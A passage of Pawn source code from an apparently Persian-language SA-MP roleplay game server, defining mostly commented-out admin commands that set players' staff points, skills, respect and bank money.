						//SetPlayerScore(para1,PlayerInfo[para1][pPoint]);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Staff Point Shoma Ro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Staff Pointe {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Staff Point To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	
	/*
	   if(strcmp(cmd, "/sethday", true) == 0 || strcmp(cmd, "/sethosterday", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /sethosterday <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players Hoster Time Expire Date. you can just set Hoster Time Expire Date for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 11)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pHDay] = level;
						SaveKonVal(para1, "pHDay", level);
						//SetPlayerScore(para1,PlayerInfo[para1][pHDay]);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Hoster Expire Date Shoma Ro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Hoster Expire Date {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Hoster Expire Date To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	
	*/
	
	/*
	
	if(strcmp(cmd, "/setdetskill", true) == 0 || strcmp(cmd, "/setdeteactiveskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setdeteactiveskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players deteactiveskill. you can just set deteactiveskill for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 6)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pDetSkill] = level;
						SaveKonVal(para1, "pDetSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Skille Detective e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Skille Detective E {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Detective Skill To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setmechskill", true) == 0 || strcmp(cmd, "/setmechanicskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setmechanicskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players mechanicskill. you can just set mechanicskill for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 6)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pMechSkill] = level;
						SaveKonVal(para1, "pMechSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Skille Mechanic e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Skille Mechanic E {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Mechanic Skill To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setsex", true) == 0 || strcmp(cmd, "/setsexual", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setsex <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players sex. you can just set sex for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 7)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pMechSkill] = level;
						SaveKonVal(para1, "pMechSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Jensiat e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Jensiat E {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Sex To %d{FF0000} (1= Male | 2= Female).", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setrobskill", true) == 0 || strcmp(cmd, "/setrobsskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setrobskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players robskill. you can just set robskill for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 6)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pRobSkill] = level;
						SaveKonVal(para1, "pRobSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Skille Rob e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Skille Rob E {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Rob Skill To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setrobpoints", true) == 0 || strcmp(cmd, "/setrp", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setrobpoints <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players robpoints. you can just set robpoints for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 8)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pRob] = level;
						SaveKonVal(para1, "pRob", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} RobPoints Haye Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma RobPoints Haye {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Rob Points To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setfactionpunish", true) == 0 || strcmp(cmd, "/setfp", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setfactionpunish <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players factionpunish. you can just set factionpunish for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 8)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pPunish] = level;
						SaveKonVal(para1, "pPunish", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} FactionPunish Haye Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma FactionPunish Haye {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Factions Punish To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setlawyerpointskill", true) == 0 || strcmp(cmd, "/setlawyerpointsskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setlawyerpointsskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players lawyerpoints. you can just set lawyerpoints for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 7)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pLawyerPoint] = level;
						SaveKonVal(para1, "pLawyerPoint", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} LawyerPoint Haye Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma LawyerPoint Haye {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Lawyer Points To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setjackskill", true) == 0 || strcmp(cmd, "/setcarjackskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setcarjackskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players carjackskill. you can just set carjackskill for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 6)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pJackSkill] = level;
						SaveKonVal(para1, "pJackSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Skille CarJacker e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Skille CarJacker E {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Car Jack Skill To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setdrugskill", true) == 0 || strcmp(cmd, "/setdrugsskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setdrugskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players drugskill. you can just set drugskill for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 6)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pDrugsSkill] = level;
						SaveKonVal(para1, "pDrugsSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Skille DrugsDealer e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Skille DrugsDealer E {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Drugs Dealer Skill To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setnewsskill", true) == 0 || strcmp(cmd, "/setnewsreporterskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setnewsreporterskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players newsskill. you can just set newsskill for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 6)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pNewsSkill] = level;
						SaveKonVal(para1, "pNewsSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Skille NewsReporter e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Skille NewsReporter E {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's News Skill To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setlawskill", true) == 0 || strcmp(cmd, "/setlawyerskill", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setlawyerskill <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players lawyerskill. you can just set lawyerskill for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 6)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pLawSkill] = level;
						SaveKonVal(para1, "pLawSkill", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} Skille Lawyer e Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma Skille Lawyer E {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s Set %s's Lawyer Skill To %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setrespect", true) == 0 || strcmp(cmd, "/setrespects", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setrespect <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players respect. you can just set respect for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 9)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pExp] = level;
						SaveKonVal(para1, "pExp", level);
					format(string, sizeof(string), "{00FF00}Admin {FF0000}%s{00FF00} RespectPoint Haye Shomaro Be {FF0000}%d{00FF00} Set Kard", sendername,level);
					SendClientMessage(para1, COLOR_GRAD2, string);
					format(string, sizeof(string), "{00FF00}Shoma RespectPoint Haye {FF0000}%s{00FF00}, Ro Be {FF0000}%d{00FF00} Set Kardid.", giveplayer,level);
					SendClientMessage(playerid, COLOR_LIGHTGREEN, string);
					format(string, 256, "}[Admin-Warn]: {FFFFFF}Admin %s Set %s's RespectPoints %d.", sendername,giveplayer,level);
						ABroadCast(COLOR_AdminWarn,string,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/setbankmoney", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setbankmoney <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't set another players bankmoney. you can just set bankmoney for yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 10)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pAccount] = level;
